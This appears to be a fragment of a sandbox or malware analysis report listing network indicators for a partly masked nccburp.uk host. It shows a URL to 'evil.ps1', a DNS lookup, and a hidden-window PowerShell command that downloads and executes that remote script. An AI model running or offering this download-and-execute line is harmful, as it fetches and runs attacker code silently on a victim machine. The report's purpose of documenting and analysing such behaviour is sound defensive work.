Technical Information
- http://95##########fgs4aqezfyi88zeq2f.nccburp.uk/evil.ps1
- '95##########fgs4aqezfyi88zeq2f.nccburp.uk':80
- http://95##########fgs4aqezfyi88zeq2f.nccburp.uk/evil.ps1
- DNS ASK 95##########fgs4aqezfyi88zeq2f.nccburp.uk
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' IEX (New-Object Net.Webclient).downloadstring('http://95##########fgs4aqezfyi88zeq2f.nccburp.uk/evil.ps1')' (with hidden window)